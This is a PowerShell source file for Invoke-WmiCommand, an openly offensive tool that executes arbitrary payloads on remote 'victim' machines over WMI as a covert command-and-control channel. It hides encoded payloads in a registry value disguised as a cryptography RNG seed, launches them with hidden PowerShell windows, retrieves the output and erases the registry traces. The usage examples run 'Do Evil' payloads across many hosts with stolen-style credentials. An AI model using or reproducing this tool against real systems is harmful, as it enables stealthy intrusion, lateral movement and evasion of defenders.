CodeExecution/Invoke-WmiCommand.ps1
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function Invoke-WmiCommand { <# .SYNOPSIS Executes a PowerShell ScriptBlock on a target computer using WMI as a pure C2 channel. Author: Matthew Graeber License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Invoke-WmiCommand executes a PowerShell ScriptBlock on a target computer using WMI as a pure C2 channel. It does this by using the StdRegProv WMI registry provider methods to store a payload into a registry value. The command is then executed on the victim system and the output is stored in another registry value that is then retrieved remotely. .PARAMETER Payload Specifies the payload to be executed on the remote system. .PARAMETER RegistryKeyPath Specifies the registry key where the payload and payload output will be stored. .PARAMETER RegistryPayloadValueName Specifies the registry value name where the payload will be stored. .PARAMETER RegistryResultValueName Specifies the registry value name where the payload output will be stored. .PARAMETER ComputerName Runs the command on the specified computers. The default is the local computer. Type the NetBIOS name, an IP address, or a fully qualified domain name of one or more computers. To specify the local computer, type the computer name, a dot (.), or "localhost". This parameter does not rely on Windows PowerShell remoting. You can use the ComputerName parameter even if your computer is not configured to run remote commands. .PARAMETER Credential Specifies a user account that has permission to perform this action. The default is the current user. Type a user name, such as "User01", "Domain01\User01", or User@Contoso.com. Or, enter a PSCredential object, such as an object that is returned by the Get-Credential cmdlet. When you type a user name, you will be prompted for a password. .PARAMETER Impersonation Specifies the impersonation level to use. Valid values are: 0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) 1: Anonymous (Hides the credentials of the caller.) 2: Identify (Allows objects to query the credentials of the caller.) 3: Impersonate (Allows objects to use the credentials of the caller.) 4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) .PARAMETER Authentication Specifies the authentication level to be used with the WMI connection. Valid values are: -1: Unchanged 0: Default 1: None (No authentication in performed.) 2: Connect (Authentication is performed only when the client establishes a relationship with the application.) 3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) 4: Packet (Authentication is performed on all the data that is received from the client.) 5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) 6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) .PARAMETER EnableAllPrivileges Enables all the privileges of the current user before the command makes the WMI call. .PARAMETER Authority Specifies the authority to use to authenticate the WMI connection. You can specify standard NTLM or Kerberos authentication. To use NTLM, set the authority setting to ntlmdomain:<DomainName>, where <DomainName> identifies a valid NTLM domain name. To use Kerberos, specify kerberos:<DomainName\ServerName>. You cannot include the authority setting when you connect to the local computer. .EXAMPLE PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1' .EXAMPLE PS C:\>$Hosts = Get-Content hostnames.txt PS C:\>$Payload = Get-Content payload.ps1 PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser' PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential .EXAMPLE PS C:\>$Payload = Get-Content payload.ps1 PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2' .EXAMPLE PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose .INPUTS System.String[] Accepts one or more host names/IP addresses over the pipeline. .OUTPUTS System.Management.Automation.PSObject Outputs a custom object consisting of the target computer name and the output of the command executed. .NOTES In order to receive the output from your payload, it must return actual objects. For example, Write-Host doesn't return objects rather, it writes directly to the console. If you're using Write-Host in your scripts though, you probably don't deserve to get the output of your payload back. :P #> [CmdletBinding()] Param ( [Parameter( Mandatory = $True )] [ScriptBlock] $Payload, [String] [ValidateSet( 'HKEY_LOCAL_MACHINE', 'HKEY_CURRENT_USER', 'HKEY_CLASSES_ROOT', 'HKEY_USERS', 'HKEY_CURRENT_CONFIG' )] $RegistryHive = 'HKEY_CURRENT_USER', [String] [ValidateNotNullOrEmpty()] $RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG', [String] [ValidateNotNullOrEmpty()] $RegistryPayloadValueName = 'Seed', [String] [ValidateNotNullOrEmpty()] $RegistryResultValueName = 'Value', [Parameter( ValueFromPipeline = $True )] [Alias('Cn')] [String[]] [ValidateNotNullOrEmpty()] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Management.ImpersonationLevel] $Impersonation, [System.Management.AuthenticationLevel] $Authentication, [Switch] $EnableAllPrivileges, [String] $Authority ) BEGIN { switch ($RegistryHive) { 'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 } 'HKEY_CURRENT_USER' { $Hive = 2147483649 } 'HKEY_CLASSES_ROOT' { $Hive = 2147483648 } 'HKEY_USERS' { $Hive = 2147483651 } 'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 } } $HKEY_LOCAL_MACHINE = 2147483650 $WmiMethodArgs = @{} # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential } if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation } if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication } if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges } if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority } $AccessPermissions = @{ KEY_QUERY_VALUE = 1 KEY_SET_VALUE = 2 KEY_CREATE_SUB_KEY = 4 KEY_CREATE = 32 DELETE = 65536 } # These are all of the registry permissions we'll require $RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor $AccessPermissions['KEY_SET_VALUE'] -bor $AccessPermissions['KEY_CREATE_SUB_KEY'] -bor $AccessPermissions['KEY_CREATE'] -bor $AccessPermissions['DELETE'] } PROCESS { foreach ($Computer in $ComputerName) { # Pass the individual computer name to Invoke-WmiMethod $WmiMethodArgs['ComputerName'] = $Computer Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath" $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath if ($Result.ReturnValue -ne 0) { throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath" } Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath" $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions if (-not $Result.bGranted) { throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand." } $PSSettingsPath = 'SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' $PSPathValueName = 'Path' $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKEY_LOCAL_MACHINE, $PSSettingsPath, $PSPathValueName if ($Result.ReturnValue -ne 0) { throw "[$Computer] Unable to obtain powershell.exe path from the following registry value: HKEY_LOCAL_MACHINE\$PSSettingsPath\$PSPathValueName" } $PowerShellPath = $Result.sValue Write-Verbose "[$Computer] Full PowerShell path: $PowerShellPath" $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload)) Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName if ($Result.ReturnValue -ne 0) { throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" } # Prep the script runner payload from the remote system $PayloadRunnerArgs = @" `$Hive = '$Hive' `$RegistryKeyPath = '$RegistryKeyPath' `$RegistryPayloadValueName = '$RegistryPayloadValueName' `$RegistryResultValueName = '$RegistryResultValueName' `n "@ $RemotePayloadRunner = $PayloadRunnerArgs + { $WmiMethodArgs = @{ Namespace = 'Root\default' Class = 'StdRegProv' } $Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) { $Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue)) $TempSerializedResultPath = [IO.Path]::GetTempFileName() $PayloadResult = Invoke-Expression ($Payload) Export-Clixml -InputObject $PayloadResult -Path $TempSerializedResultPath $SerilizedPayloadText = [IO.File]::ReadAllText($TempSerializedResultPath) $null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadText, $RegistryResultValueName Remove-Item -Path $SerilizedPayloadResult -Force $null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName } } $Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner)) $Cmdline = "$PowerShellPath -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload" # Execute the payload runner on the remote system $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline Start-Sleep -Seconds 5 if ($Result.ReturnValue -ne 0) { throw "[$Computer] Unable to execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" } Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName if ($Result.ReturnValue -ne 0) { throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" } Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" $SerilizedPayloadResult = $Result.sValue $TempSerializedResultPath = [IO.Path]::GetTempFileName() Out-File -InputObject $SerilizedPayloadResult -FilePath $TempSerializedResultPath $PayloadResult = Import-Clixml -Path $TempSerializedResultPath Remove-Item -Path $TempSerializedResultPath $FinalResult = New-Object PSObject -Property @{ PSComputerName = $Computer PayloadOutput = $PayloadResult } Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath" $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath return $FinalResult } } } |